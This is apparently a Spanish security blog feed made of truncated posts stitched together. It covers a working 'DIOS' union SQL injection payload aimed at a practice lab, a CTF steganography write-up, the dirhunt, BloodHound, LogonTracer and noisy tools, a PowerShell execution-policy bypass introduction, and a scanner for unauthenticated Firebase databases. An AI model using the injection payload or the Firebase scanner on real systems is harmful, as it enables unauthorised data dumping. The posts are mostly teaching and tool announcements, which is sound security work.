Inyecciones SQL como DIOS

El post de hoy no trata de inyecciones como si fueras del fuc**** master, si no que el acrónimo DIOS se refiere a Dump In One Shot, una técnica de inyección SQL que lleva existiendo ya desde hace años pero que sin embargo todavía hoy no es demasiado conocida. Como su nombre indica, DIOS es forma peculiar de construir inyecciones SQL que, con la ayuda del uso de ciertas sentencias, nos permite obtener el volcado completo para una consulta.

Con SQLis DIOS no necesitas herramientas como Sqlmap o Havij, sólo con el navegador puedes traerte todos los datos que necesitas y mediante una "única bala". Normalmente aplica en inyecciones de tipo union y también, aunque menos comunes y más difíciles de implementar, a las basadas en error. Para las inyecciones ciegas, esta técnica no se aplica.

Para entender como funciona vamos a ver la clásica inyección SQL 'Union Base' usando DIOS contra una base de datos MySQL. Para ello usaremos el laboratorio online SQLInjection Ninja de Security Idiots, que además son los mejores mesías de este tipo de inyecciones.

Primero identificaremos el recurso vulnerable a SQLi:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1%27%20union%20select%20111,222,333%20--%20-


La columna 222 es vulnerable: en ella insertaremos nuestra petición DIOS.

http://leettime.net/sqlninja.com/tasks/basic_ch1.php
?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'
'))))a)),333 -- -


Como podéis ver, con esa consulta devolvimos la lista de todas las bases de datos en ese sitio.

Solución al reto 26: Emma-ne-de-fur-fur?


Nuevo reto "especial verano" de la mano de @Hackers4Fun (#H4F) donde se ha interceptado un fragmento de código en un email remitido por Tim a Flint "Loco" (El prota de "Lluvia de albóndigas") y deberemos de encontrar lo que esconde.  

Manos a la obra

Descargamos y descomprimos con WinRAR el archivo "R3t0_12_H4f.gz" que contiene el siguiente enlace: https://drive.google.com/file/d/1iG_lNnMSU05-kjvbhk9Sk_GMCGnbO-Y1
Nos encontramos con lo que parece un archivo PDF, si lo ejecutamos nos encontraremos con el siguiente texto:
 
 
Observamos que es código HTML con una imagen codificada en base64, simplemente seleccionamos todo el código y lo colocamos en cualquier editor de texto (I love you sublime text) y guardamos en .html
Ejecutamos el archivo .html y vemos la siguiente imagen.bmp:
 
 
Nos la descargamos y la analizamos con diferentes herramientas (exiftool,binwalk y stegsolve) pero sin ninguna pista que me sirviera de ayuda.
Después de unos minutos de bloqueo, me cambié las gafas "3D" por las lentes graduadas (simplemente limpié los cristales xD) me tropecé con unos extraños pixels que no venían "a cuento" con la imagen. 
Hice zoom y encontré esto:
 

Es un mensaje en morse! Si tiramos de Photoshop (también sirve Gimp o Fireworks) y jugamos con los niveles podemos conseguir una imagen mas clara, mas o menos lo dejé así:
 

Dirhunt: encuentra directorios web sin fuerza bruta

 
Dirhunt es un web crawler optimizado para buscar y analizar directorios. Esta herramienta puede encontrar cosas interesantes si el servidor tiene habilitado el modo "index of", aunque también es útil si el listado de directorios no está habilitado. También detecta directorios con errores 404 "falsos", directorios donde se ha creado un archivo de índice vacío para ocultar cosas y mucho más.

$ dirhunt http://website.com/

Dirhunt no usa fuerza bruta. Pero tampoco es solo un crawler. Esta herramienta es más rápida que otras porque minimiza las solicitudes al servidor. En general, esta herramienta tarda entre 5-30 segundos, dependiendo del sitio web y del servidor.

Características

- Procesa uno o múltiples sitios a la vez.
- Procesa páginas de 'index of' y reporta archivos interesantes.
- Detecta redirecciones.
- Detecta index en blanco creados en directorios para ocultar cosas.
- Procesa algunos archivos html en busca de nuevos directorios.
- Páginas de error 404 y detectar errores 404 falsos.
- Filtrar resultados por flags.
- Analiza los resultados al final.

Instalación:

$ pip install dirhunt

o desde el repo:

$ git clone git://github.com/Nekmo/dirhunt
$ curl  -OL https://github.com/Nekmo/dirhunt/tarball/master
$ python setup.py install

Uso:
Usage: dirhunt [OPTIONS] [URLS]...

  :param int threads: :type exclude_flags: list

Options:
  -t, --threads INTEGER           Number of threads to use.
  -x, --exclude-flags TEXT        Exclude results with these flags. See
                                  documentation.
  -i, --include-flags TEXT        Only include results with these flags. See
                                  documentation.
  -e, --interesting-extensions TEXT
                                  The files found with these extensions are
                                  interesting
  -f, --interesting-files TEXT    The files with these names are interesting
  --stdout-flags TEXT             Return only in stdout the urls of these
                                  flags
  --progress-enabled / --progress-disabled
  --timeout INTEGER
  --version
  --help                          Show this message and exit.

Reto 26: Especial Verano: Emma-ne-de-fur-fur?

El grupo del IES Francico Umbral de Ciempozuelos (Madrid) Hackers4Fun CTF Team nos vuelve a traer otro entretenido reto para amenizar las calurosas jornadas de verano.

Categoria > Misc> Han interceptado un fragmento de código de un emaIl remitido por Tim a Flint "Loco". Puedes detectar el mensaje escondido en el archivo adjunto del email?> Download:

https://drive.google.com/file/d/1iG_lNnMSU05-kjvbhk9Sk_GMCGnbO-Y1/view


Una vez resuelto, mandar la flag por DM a la cuenta de Twitter https://www.twitter.com/Hackers4F. El formato es H4F{...}

Una vez que Hackers4F cierre el reto, publicaremos también el writeup y pondremos a los primeros acertantes en nuestra página. Así que animaros y a ver si sois capaces de descubrir el mensaje escondido.

Recopilatorio de formas de bypassear la Política de Ejecución (Execution Policy) en Powershell

PowerShell viene configurado por defecto para evitar la ejecución de scripts. Auqnue no debería, esto puede ser un obstáculo para los pentesters, administradores de sistemas y desarrolladores, ... y también para los atacantes. Sin embargo, se puede eludir esta política aún sin tener derechos de administrador local en el sistema. En un artículo en el blog de NetsPI de 2014 se mostraban numerosas formas de hacerlo que hoy en día siguen vigentes y por eso rescatamos.

¿Qué es la Política de Ejecución de Powershell o PowerShell Execution Policy?

La Política de Ejecución de Powershell es la configuración que determina qué tipo de scripts de PowerShell (si los hay) se pueden ejecutar en el sistema. Por defecto, está configurado como "Restringido" (en inglés "Restricted"), lo que básicamente significa ninguno. Sin embargo, es importante entender que esta política más que un control de seguridad estaba destinada a evitar que los administradores se peguen "un tiro en el pie". Es por eso que hay tantas opciones para cambiarla, incluyendo algunos que Microsoft ha proporcionado directamente.

Cómo ver la Política de Ejecución

Para ver la configuración actual se suele utilizar el comando de PowerShell "Get-ExectionPolicy". Si estás viendo la configuración por primera vez, es probable que esté configurada como "Restringida", como se muestra a continuación:

PS C:\> Get-ExecutionPolicy
Restricted


También vale la pena señalar que la política de ejecución se puede establecer en diferentes niveles en el sistema. Para ver una lista de ellos, usa el siguiente comando:

PS C:\> Get-ExecutionPolicy -List | Format-Table -AutoSize

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Restricted
 LocalMachine       Restricted


Notas de configuración de laboratorio

En los ejemplos que se verán a continuación se usará un script llamado runme.ps1 que contiene el siguiente comando de PowerShell para escribir un mensaje a la consola:

Write-Host "Prueba"

Cuando se intente ejecutar en un sistema configurado con la política de ejecución predeterminada, aparecerá el siguiente error:


Si tu política actual es demasiado abierta y deseas hacerla más restrictiva para probar las técnicas que se mostrarán a continuación, ejecuta el comando "Set-ExecutionPolicy Restricted" desde una consola PowerShell con privilegios administrador. A continuación veremos 15 maneras de eludir las restricciones de la política de ejecución de PowerShell.

Cherry* - IA Busqueda A* && la Heuristica de Manhattan

Hoy les comparto algunas implementaciones sobre búsqueda no informada en JAVA, usando un nuevo enfoque funcional, comentado todo en español, espero que les sea de ayuda a quien lo necesite Funciona con el JDK 10...


Terminología

    Node -> Una estructura de datos que tiene lugar en el árbol;
    Actions -> Estados alcanzables desde algún estado cualquiera;
    Root -> Nodo top u origen del árbol;
    Origin -> Estado origen de algún estado cualquiera;
    Final -> Estado sin acciones posibles;
    Level -> Nivel del estado por defecto root = 0;
    Tree -> Estructura que modela los estados del problema;
    Cost -> Costo para llegar a ese estado desde el inicio;
    Source -> Representación matricial de algún estado;
    State -> Estado a priori;

Concepto

Los arboles son estructuras de datos complejas que nos permiten modelar el mundo, siguiendo ciertas restricciones adaptadas de la propia naturaleza del problema.

Una simple representación de un árbol puede ser la siguiente:

Los arboles con los que trabajaremos contienen una raíz destacada la cual es el origen del estado, por lo cual solo hay un camino origen asociado a un estado viniendo desde otro.

Investiga inicios de sesión maliciosos en el DA con LogonTracer

LogonTracer es una herramienta para investigar inicios de sesión maliciosos al visualizar y analizar los registros de eventos del directorio activo de Windows.

Esta herramienta utiliza PageRank y ChangeFinder para detectar hosts y cuentas maliciosas en los logs de eventos de Windows, y visualiza los siguientes identificadores de eventos relacionados con el inicio de sesión de Windows basados en nuestra investigación previa.

- 4624: inicio de sesión exitoso
-  4625: error de inicio de sesión
- 4768: Autenticación de Kerberos (solicitud de TGT)
- 4769: Ticket de servicio de Kerberos (Solicitud de ST)
- 4776: Autenticación NTLM
- 4672: asignar privilegios especiales

Tenéis más detalle en los siguientes enlaces:   


En mi caso voy a instalarlo y usarlo en Linux, pero lo tenéis también funcional en OSX e incluso en un contenedor Docker.

Descubriendo el camino para llegar a domain admin con BloodHound

Hoy en día prácticamente todas las empresas utilizan el Directorio Activo de Microsoft para administrar los recursos, usuarios y políticas de sus redes corporativas. Por eso uno de los objetivos finales de una intrusión siempre suele ser conseguir los máximos privilegios sobre el DA. Pero también suele ser bastante común que, cuando comprometemos un servidor y nos "asomamos" a las redes internas para comenzar con los movimientos laterales, nos encontremos con una auténtica maraña de servidores, relaciones de confianza, grupos anidados, etc, etc., es decir, literalmente es fácil que nos perdamos en el bosque, nunca mejor dicho.

Para facilitarnos el entendimiento de la topología a la que nos enfrentamos y visualizar las posibles vulnerabilidades y fallos existe una herramienta que se llama BloodHound que utiliza gráficos para revelar las relaciones ocultas y, a menudo no intencionadas, dentro de un entorno de DA.

Por un lado un atacante puede usarla para identificar fácilmente rutas de ataque altamente complejas que de otro modo serían imposibles de identificar rápidamente y, por otro, un administrador podría usarla también para identificar y eliminar esos mismos caminos de ataque. En definitiva, tanto los miembros del Red Team como los del Blue Team pueden usar BloodHound para obtener una comprensión más profunda de las relaciones de privilegios en un entorno de Active Directory.


Bloodhound está desarrollado por @_wald0, @CptJesus, y @harmj0y. y básicamente es una aplicación web de JavaScript de una sola página, construida sobre Linkurious, compilada con Electron, con una base de datos Neo4j alimentada por un ingestor PowerShell. Tenéis las instrucciones de instalación en la Wiki del proyecto. En este post haremos una pequeña demo desde la perspectiva de un atacante...

Primero, para funcionar BloodHound requiere tres conjuntos de información de un entorno de Active Directory:

- ¿Quién ha iniciado sesión en dónde?
- ¿Quién tiene los derechos de administrador?
- ¿Qué usuarios y grupos pertenecen a qué grupos?
- (Opcionalmente) ¿Qué directores tienen control sobre otros objetos de usuario y grupo?

En la mayoría de los casos, la recopilación de esta información no requiere privilegios de administrador ni la ejecución de código en sistemas remotos. El primer ingestor de Bloodhound -que así es como se conoce- estaba basado en PowerView y hacía que la recopilación de datos fuera rápida y simple, e incluso teníamos la ventaja de que podíamos llamarlo directamente desde Empire (módulo Powershell/situation_awareness/network/bloodhound) o incluso desde Meterpreter importando el cmdlet (powershell_import BloodHound.ps1). Sin embargo el uso de Powershell v2 penalizaba algo la velocidad de la enumeración en grandes entornos y, sobretodo, elevaba bastante el uso de la memoria, por lo que se reescribió un nuevo ingestor en C#: SharpHound.

noisy: un script en Python para generar "ruido" en forma de tráfico HTTP/DNS

noisy de 1tayH es un sencillo script en Python que genera ruido en forma de tráfico HTTP/DNS aleatorio mientras navegas por la red (en background), para que los datos de tráfico web sean menos valiosos a la hora de venderlos y para tener mayor "oscuridad".

El script ha sido probado en MacOS High Sierra, Ubuntu 16.04 y Raspbian Stretch, y es compatible tanto con Python 2.7 como con 3.6.

Instalación

pip install requests
git clone https://github.com/1tayH/noisy.git

Parámetros disponibles
$ python noisy.py --help
usage: noisy.py [-h] [--log -l] --config -c [--timeout -t]

optional arguments:
  -h, --help    show this help message and exit
  --log -l      logging level
  --config -c   config file
  --timeout -t  for how long the crawler should be running, in seconds

Uso

cd noisy
python noisy.py --config config.json

Ejemplo salida
$ docker run -it noisy --config config.json --log debug
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): 4chan.org:80
DEBUG:urllib3.connectionpool:http://4chan.org:80 "GET / HTTP/1.1" 301 None
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): www.4chan.org:80
DEBUG:urllib3.connectionpool:http://www.4chan.org:80 "GET / HTTP/1.1" 200 None
DEBUG:root:found 92 links
INFO:root:Visiting http://boards.4chan.org/s4s/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/ HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/s4s/thread/6850193#p6850345
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/thread/6850193 HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/o/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /o/ HTTP/1.1" 200 None
DEBUG:root:Hit a dead end, moving to the next root URL
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET / HTTP/1.1" 200 None
DEBUG:root:found 237 links
INFO:root:Visiting https://www.reddit.com/user/Saditon
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET /user/Saditon HTTP/1.1" 200 None
...

Opción Docker

docker build -t noisy .
Raspberry Pi (corriendo Raspbian stretch): docker build -f Dockerfile.pi -t noisy .

docker run -it noisy --config config.json

Referencias

El proyecto se ha inspirado en:
 
Proyecto: https://github.com/1tayH/noisy

Herramienta para explotar bases de datos Firebase vulnerables/mal configuradas

Os escribo este post para compartir con vosotros una herramienta que he escrito. Se trata de un script en python que explota bases de datos Firebase vulnerables/mal configuradas. Me he inspirado en la investigación de appthority y el posterior artículo de thehackernews.

Mi script en python adopta un enfoque diferente al utilizado por los investigadores anteriormente citados: mediante la api (no oficial) de dnsdumpster y el escáner online disponible en pentest-tools se obtienen diversos subdominios de firebaseio.com asociados con sus correspondientes bases de datos. Algunas de estas bases de datos, quizás a propósito o quizás no, son accesibles sin requerir ningún tipo de autenticación, tal y como descubrieron en appthority.

Otra opción más interesante que he implementado es intentar escanear DBs de firebase mediante el recopilatorio del millón de sitios web más destacados de Alexa.
 
Requisitos (módulos python no-estándar):
Instalación:
git clone https://github.com/Turr0n/firebase.git
cd firebase
pip install -r requirements.txt
Uso:
 
python3 firebase.py [-h] [--dnsdumpster] [-d /path/to/file.htm] [-o results.json] [-l /path/to/file] [-c 100] [-p 4]

Argumentos:
    -h      Show the help message
    -d      Absolute path to the downloaded HTML file.
    -o      Output file name. Default: results.json
    -c      Crawl for domains in the top-1m by Alexa. Set how many domains to crawl, for example: 100. Up to 1000000
    -p      How many processes to execute. Default: 1
    -l      Path to a file containing the DBs to crawl. One DB name per line. This option can't be used with -d or -c
    --dnsdumpster       Use the DNSDumpster API to gather DBs
    --just-v    Ignore "non-vulnerable" DBs
    --amass Path of the output file of an amass scan ([-o] argument)